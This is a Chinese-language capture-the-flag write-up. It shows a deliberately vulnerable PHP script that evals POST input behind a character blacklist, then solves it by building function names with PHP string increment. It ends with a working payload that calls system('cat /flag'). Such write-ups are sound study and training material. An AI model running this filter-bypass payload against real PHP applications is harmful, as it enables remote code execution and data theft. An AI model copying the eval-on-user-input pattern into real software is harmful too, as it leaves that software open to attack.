源码:
<?php
error_reporting(0);
if ($_GET['secret']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?secret", time()+3600);
}
if (isset($_POST['hh'])) {
$hh = $_POST['hh'];
if (is_string($hh) || strlen($hh) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zB-Z~\\\\]|[2-5]/",$hh)){
eval($hh);
}else{
echo("no! hacker!!");
}
}
} else {
phpinfo();
}
查看正则匹配还剩的东西:
<?php
for($a = 0; $a < 256; $a++){
if (!preg_match("/[!@#%^&*:'\"|`a-zB-Z~\\\\]|[2-5]/", chr($a))){
echo chr($a)." ";
}
}
?>
只有 1 6 7 8 9 ; < = > ? A [ ] _ { } 可以用了;
然后要触发eval() 构造rce 就可以通过PHP自增来实现;什么是PHP自增?
比如 ‘a’++ =b;'c'++=d;
这就是自增,那么这道题就可以通过A 的自增来得到我们想要的函数
另外,在php中,当把字符串和数组连接在一起时,最终返回的值是Array
<?php
echo ''.[];
//输出 Array
那么只要取Array中的第一个字母A
和第四个字母a
,就可以得到A-Z和a-z的所有字母组合。
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
这里我们采用A来构造_GET
<?php
$_='A';
$_++;
$_++;
$_++;
$A=++$_;
$_++;
$A_=++$_;
$_=('A'/'A'.'A'){0}; //N
$_++; //O
$_++; //P
$_++; //Q
$_++; //R
$_++; //S
$_='_'.$A_.$A.++$_; //_GET
echo $_;
//($$_{1})($$_{2}); //($_GET{1})($_GET{2})
post传参
hh=$_=A;$_++;$_++;$_++;$A=++$_;$_++;$A_=++$_;$_=(A/A.A){0};$_++;$_++;$_++;$_++;$_++;$_=_.$A_.$A.++$_;($$_{6})($$_{7});
但是要经过URL编码传参;
然后get传
secret=6&6=system&7=cat /flag
和system相同的还有passthru